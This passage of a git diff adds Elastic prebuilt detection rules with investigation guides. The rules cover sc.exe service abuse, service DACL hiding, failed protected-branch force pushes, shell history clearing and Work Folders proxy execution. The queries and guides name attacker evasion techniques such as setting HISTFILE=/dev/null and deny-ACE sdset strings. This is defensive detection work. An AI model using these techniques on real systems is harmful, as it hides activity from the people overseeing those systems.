T1555.004 +** Reference URL: https://attack.mitre.org/techniques/T1555/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-service-control-spawned-via-script-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-service-control-spawned-via-script-interpreter.asciidoc new file mode 100644 index 0000000000..62b418b0c7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-service-control-spawned-via-script-interpreter.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-21-service-control-spawned-via-script-interpreter]] +=== Service Control Spawned via Script Interpreter + +Identifies Service Control (sc.exe) spawning from script interpreter processes to create, modify, or start services. This can potentially indicate an attempt to elevate privileges or maintain persistence. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Service Control Spawned via Script Interpreter* + + +Windows services are background processes that run with SYSTEM privileges and provide specific functionality or support to other applications and system components. + +The `sc.exe` command line utility is used to manage and control Windows services on a local or remote computer. Attackers may use `sc.exe` to create, modify, and start services to elevate their privileges from administrator to SYSTEM. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Examine the command line, registry changes events, and Windows events related to service activities (for example, 4697 and/or 7045) for suspicious characteristics. + - Examine the created and existent services, the executables or drivers referenced, and command line arguments for suspicious entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the referenced files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This activity is not inherently malicious if it occurs in isolation. As long as the analyst did not identify suspicious activity related to the user, host, and service, such alerts can be dismissed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the service or restore it to the original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +/* This rule is not compatible with Sysmon due to user.id issues */ + +process where host.os.type == "windows" and event.type == "start" and + (process.name : "sc.exe" or ?process.pe.original_file_name == "sc.exe") and + process.parent.name : ("cmd.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe", + "wmic.exe", "mshta.exe","powershell.exe", "pwsh.exe") and + process.args:("config", "create", "start", "delete", "stop", "pause") and + /* exclude SYSTEM SID - look for service creations by non-SYSTEM user */ + not user.id : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-service-dacl-modification-via-sc-exe.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-service-dacl-modification-via-sc-exe.asciidoc new file mode 100644 index 0000000000..545d5b0552 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-service-dacl-modification-via-sc-exe.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-21-service-dacl-modification-via-sc-exe]] +=== Service DACL Modification via sc.exe + +Identifies DACL modifications to deny access to a service, making it unstoppable, or hide it from system and users. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blogs.jpcert.or.jp/en/2024/07/mirrorface-attack-against-japanese-organisations.html +* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_sc_sdset_deny_service_access.yml +* https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings +* https://www.sans.org/blog/red-team-tactics-hiding-windows-services/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Service DACL Modification via sc.exe* + + +The `sc.exe` utility in Windows is used to manage services, including modifying their Discretionary Access Control Lists (DACLs). Adversaries may exploit this to alter service permissions, making them unmanageable or hidden. The detection rule identifies such modifications by monitoring for specific command patterns that indicate DACL changes, focusing on access denial to key user groups, thus flagging potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of "sc.exe" with the "sdset" argument, indicating a potential DACL modification attempt. +- Examine the specific arguments used with "sc.exe" to identify which user groups (e.g., IU, SU, BA, SY, WD) were targeted for access denial. +- Check the process execution timeline to determine if this activity coincides with other suspicious behavior or unauthorized access attempts. +- Investigate the user account associated with the process execution to assess if it has the necessary privileges and if the activity aligns with their typical behavior. +- Correlate this event with other security alerts or logs from data sources like Elastic Endgame, Sysmon, or Microsoft Defender XDR to identify potential patterns or related incidents. +- Assess the impact on the affected service by verifying its current state and functionality, ensuring it is not hidden or unmanageable. +- If necessary, consult with system administrators to understand the legitimate need for such modifications and confirm if the activity was authorized. + + +*False positive analysis* + + +- Routine administrative tasks using sc.exe to modify service permissions may trigger the rule. Review the context of the command and verify if it aligns with standard IT maintenance activities. +- Automated scripts or software deployment tools that adjust service DACLs for legitimate configuration purposes can cause false positives. Identify these scripts and consider excluding their specific command patterns from the rule. +- Security software updates or patches that modify service permissions as part of their installation process might be flagged. Confirm the legitimacy of the update and exclude the associated process arguments if necessary. +- Custom applications that require specific service permissions for functionality may inadvertently match the detection criteria. Validate the application's behavior and create exceptions for its known safe operations. +- Regular audits or compliance checks that involve service DACL modifications could be misinterpreted as malicious. Document these activities and adjust the rule to ignore them when performed by authorized personnel. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or changes to service permissions. +- Terminate any suspicious processes related to sc.exe that are actively modifying service DACLs to stop ongoing malicious activity. +- Restore the original DACL settings for the affected services using a known good configuration or backup to ensure proper access control is reinstated. +- Conduct a thorough review of user accounts and permissions to identify and revoke any unauthorized access that may have been granted during the attack. +- Implement additional monitoring on the affected system and similar systems to detect any further attempts to modify service DACLs, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the attack is part of a larger campaign. +- Review and update endpoint protection policies to prevent similar threats in the future, ensuring that all systems are equipped with the latest security patches and configurations. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "sc.exe" or ?process.pe.original_file_name : "sc.exe") and + process.args : "sdset" and process.args : "*D;*" and + process.args : ("*;IU*", "*;SU*", "*;BA*", "*;SY*", "*;WD*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-several-failed-protected-branch-force-pushes-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-several-failed-protected-branch-force-pushes-by-user.asciidoc new file mode 100644 index 0000000000..039a9bcdd4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-several-failed-protected-branch-force-pushes-by-user.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-21-several-failed-protected-branch-force-pushes-by-user]] +=== Several Failed Protected Branch Force Pushes by User + +Detects a high number of failed force push attempts to protected branches by a single user within a short time frame. Adversaries may attempt multiple force pushes to overwrite commit history on protected branches, potentially leading to data loss or disruption of development workflows. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Exfiltration +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Several Failed Protected Branch Force Pushes by User* + + +This rule flags a single user generating multiple failed force push attempts to protected branches within a short span, indicating attempts to rewrite commit history and bypass branch protections. An attacker with a compromised maintainer role repeatedly tries to roll back a security fix, delete prior commits, and erase history entries before pushing a malicious revision. This activity threatens code integrity, disrupts pipelines, and can propagate harmful changes across repositories. + + +*Possible investigation steps* + + +- Pull audit entries for the rejected updates to confirm the rejection reasons and the exact org/repo/branch targets, then reconstruct the timeline and sequence of attempts. +- Verify the user's current and recent permissions, team membership, and role changes, and confirm whether any admin or ownership transfers occurred before the attempts. +- Correlate the attempts with authentication and token activity (SSO logins, PAT/SSH key usage, IP/device fingerprints, geo), flagging any new or unusual sources. +- Review branch protection settings and recent edits (require status checks, linear history, admin enforcement, force push exemptions) to detect policy tampering or misconfiguration. +- Identify the specific commits the force pushes sought to overwrite by diffing the attempted ref against the protected branch head, prioritizing impacts to security fixes, release branches, or signed commits. + + +*False positive analysis* + + +- During a repository migration or history cleanup, a maintainer runs a local script that loops through branches and tries to push rewritten commits with --force, but newly tightened branch protection rejects each attempt, resulting in multiple failures. +- A developer who previously had a force-push exemption on a protected release branch loses that permission during a role or team change and continues their usual rebase-and-force-push workflow, causing several rapid rejected ref updates. + + +*Response and remediation* + + +- Immediately block the user in the GitHub organization, revoke all active personal access tokens and SSH keys from their account, and force sign-out to stop further push attempts. +- On each affected repository and branch (e.g., main, release/*), remove any force-push exemptions, enable “Include administrators,” require signed commits and status checks, and restrict push access to specific teams. +- Purge staging artifacts by deleting any branches or tags the user created around the attempts, rotate the user’s password and regenerate PATs/SSH keys, and remove newly registered keys or OAuth apps added during the window. +- Validate recovery by confirming the protected branch HEAD matches the last known good signed commit SHA, re-running CI for impacted repos, and creating a restore point tag for rapid rollback. +- Escalate to incident response if any attempts targeted main or release branches, originated from a newly created PAT/SSH key or an unrecognized IP/device, or the user holds repo admin/organization owner rights. +- Harden long term by enforcing org-wide 2FA/SSO, removing all standing force-push exemptions, requiring CODEOWNERS approvals on protected branches, and enabling audit alerts for branch protection edits and new credential creation. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-github.audit-* metadata _id, _index, _version +| where + data_stream.dataset == "github.audit" and + github.category == "protected_branch" and + event.action == "protected_branch.rejected_ref_update" +| stats + Esql.document_count = COUNT(*), + Esql.github_org_values = values(github.org), + Esql.github_repo_values = values(github.repo), + Esql.github_branch_values = values(github.branch), + Esql.github_reasons_code_values = values(github.reasons.code), + Esql.github_reasons_message_value = values(github.reasons.message), + Esql.user_name_values = values(user.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by user.name + +| keep Esql.* + +| where + Esql.document_count >= 5 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-shell-history-clearing-via-environment-variables.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-shell-history-clearing-via-environment-variables.asciidoc new file mode 100644 index 0000000000..a99bd9fdad --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-shell-history-clearing-via-environment-variables.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-21-shell-history-clearing-via-environment-variables]] +=== Shell History Clearing via Environment Variables + +This rule detects the clearing of the shell history via environment variables. Attackers may clear the shell history to hide their activities from being tracked. By leveraging environment variables such as HISTSIZE, HISTFILESIZE, HISTCONTROL, and HISTFILE, attackers can clear the shell history by setting them to 0, ignoring spaces, or redirecting the history to /dev/null, effectively erasing the command history. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.rapid7.com/blog/post/tr-new-whitepaper-stealthy-bpfdoor-variants/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Shell History Clearing via Environment Variables* + + +This rule detects Linux processes that start with shell history controls set to disable or discard command logging, a common defense-evasion tactic that removes evidence of hands-on-keyboard activity. An attacker who gains a shell may launch bash with HISTFILE=/dev/null and HISTSIZE=0, then run discovery, credential access, or privilege-escalation commands knowing their interactive history will not be written to disk. + + +*Possible investigation steps* + + +- Reconstruct the full process ancestry and login context to determine whether the shell was launched from a legitimate admin session, a remote access channel such as SSH or a web shell, or an unexpected parent process. +- Review all commands and child processes executed by the same user and terminal session immediately before and after the history suppression event for signs of discovery, credential access, lateral movement, privilege escalation, or log tampering. +- Correlate with authentication, sudo, PAM, and SSH logs on the host to verify who initiated the session, from where, and whether the activity aligns with approved maintenance or change windows. +- Examine concurrent file, network, and process telemetry for follow-on actions such as downloading tools, touching sensitive files, modifying startup scripts, or making outbound connections that would indicate the shell was used for malicious objectives. +- If the activity is not clearly benign, capture volatile evidence and inspect shell startup files and account profiles for persistent history-disabling settings or aliases that could mask repeated interactive activity. + + +*False positive analysis* + + +- Administrators may intentionally launch a temporary shell with HISTFILE=/dev/null or HISTSIZE=0 during sensitive maintenance to avoid saving secrets entered at the prompt; verify the user, change timing, parent process, and nearby commands align with approved administrative work on the host. +- A user's shell startup files may legitimately set HISTCONTROL=ignorespace or redirect HISTFILE for noninteractive, ephemeral, or test sessions as part of local shell customization; confirm the same settings exist in the account or system shell profiles and appear consistently across the user's normal sessions without other suspicious behavior. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network while preserving forensic access, stop the malicious shell and any spawned tools, and collect copies of the user’s shell startup files, current crontabs, and recently modified scripts before cleanup. +- Remove attacker footholds by deleting unauthorized changes in ~/.bashrc, ~/.profile, /etc/profile, /etc/bash.bashrc, ~/.ssh/authorized_keys, systemd service or timer units, cron jobs, and any backdoor binaries or web shells dropped during the session. +- Reset credentials and secrets exposed on or from the host, including the compromised local account, any sudo-capable accounts, SSH keys, and application tokens, and review sudoers files and group membership for malicious privilege changes. +- Restore the system to a known-good state by rebuilding from a trusted image or validated backup and verifying core packages, shell configuration files, scheduled tasks, and remote access settings match the approved baseline before reconnecting it. +- Escalate to incident response immediately if the history-suppression shell was followed by privilege escalation, credential access, outbound tool downloads, lateral movement over SSH, or the same behavior is identified on multiple hosts, and expand scoping to related accounts and systems. +- Harden against recurrence by enforcing centralized command and session logging, restricting interactive shell access to managed administration paths, monitoring for shell profiles that set HISTFILE=/dev/null or HISTSIZE=0, and tightening change control for user and system startup files. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Elastic Defend integration does not collect environment variable logging by default. +In order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration. + #### To set up environment variable capture for an Elastic Agent policy: +- Go to “Security → Manage → Policies”. +- Select an “Elastic Agent policy”. +- Click “Show advanced settings”. +- Scroll down or search for “linux.advanced.capture_env_vars”. +- Enter the names of environment variables you want to capture, separated by commas. +- For this rule the linux.advanced.capture_env_vars variable should be set to "HISTSIZE, HISTFILESIZE, HISTCONTROL, HISTFILE". +- Click “Save”. +After saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly. +For more information on capturing environment variables refer to the https://www.elastic.co/guide/en/security/current/environment-variable-capture.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.env_vars like~ ( + "HISTSIZE=0", "HISTFILESIZE=0", "HISTCONTROL=ignorespace", "HISTFILE=/dev/null" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Command History +** ID: T1070.003 +** Reference URL: https://attack.mitre.org/techniques/T1070/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-signed-proxy-execution-via-ms-work-folders.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-signed-proxy-execution-via-ms-work-folders.asciidoc new file mode 100644 index 0000000000..6d1ea78cd1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-signed-proxy-execution-via-ms-work-folders.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-21-signed-proxy-execution-via-ms-work-folders]] +=== Signed Proxy Execution via MS Work Folders + +Identifies the use of Windows Work Folders to execute a potentially masqueraded control.exe file in the current working directory. Misuse of Windows Work Folders could indicate malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows-server/storage/work-folders/work-folders-overview +* https://twitter.com/ElliotKillick/status/1449812843772227588 +* https://lolbas-project.github.io/lolbas/Binaries/WorkFolders/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 316 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Signed Proxy Execution via MS Work Folders* + + +Work Folders is a role service for file servers running Windows Server that provides a consistent way for users to access their work files from their PCs and devices. This allows users to store work files and access them from anywhere. When called, Work Folders will automatically execute any Portable Executable (PE) named control.exe as an argument before accessing the synced share. + +Using Work Folders to execute a masqueraded control.exe could allow an adversary to bypass application controls and increase privileges. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - Examine the location of the WorkFolders.exe binary to determine if it was copied to the location of the control.exe binary. It resides in the System32 directory by default. +- Trace the activity related to the control.exe binary to identify any continuing intrusion activity on the host. +- Review the control.exe binary executed with Work Folders to determine maliciousness such as additional host activity or network traffic. +- Determine if control.exe was synced to sync share, indicating potential lateral movement. +- Review how control.exe was originally delivered on the host, such as emailed, downloaded from the web, or written to +disk from a separate binary. + + +*False positive analysis* + + +- Windows Work Folders are used legitimately by end users and administrators for file sharing and syncing but not in the instance where a suspicious control.exe is passed as an argument. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Review the Work Folders synced share to determine if the control.exe was shared and if so remove it. +- If no lateral movement was identified during investigation, take the affected host offline if possible and remove the control.exe binary as well as any additional artifacts identified during investigation. +- Review integrating Windows Information Protection (WIP) to enforce data protection by encrypting the data on PCs using Work Folders. +- Confirm with the user whether this was expected or not, and reset their password. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "control.exe" and process.parent.name : "WorkFolders.exe" and + not process.executable : ( + "?:\\Windows\\System32\\control.exe", + "?:\\Windows\\SysWOW64\\control.exe", + + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\control.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\control.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Path Interception by Search Order Hijacking +** ID: T1574.008 +** Reference URL: https://attack.mitre.org/techniques/T1574/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-sip-provider-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-sip-provider-modification.asciidoc new file mode 100644 index 0000000000..2f16b5b048 --- /dev/null +++ 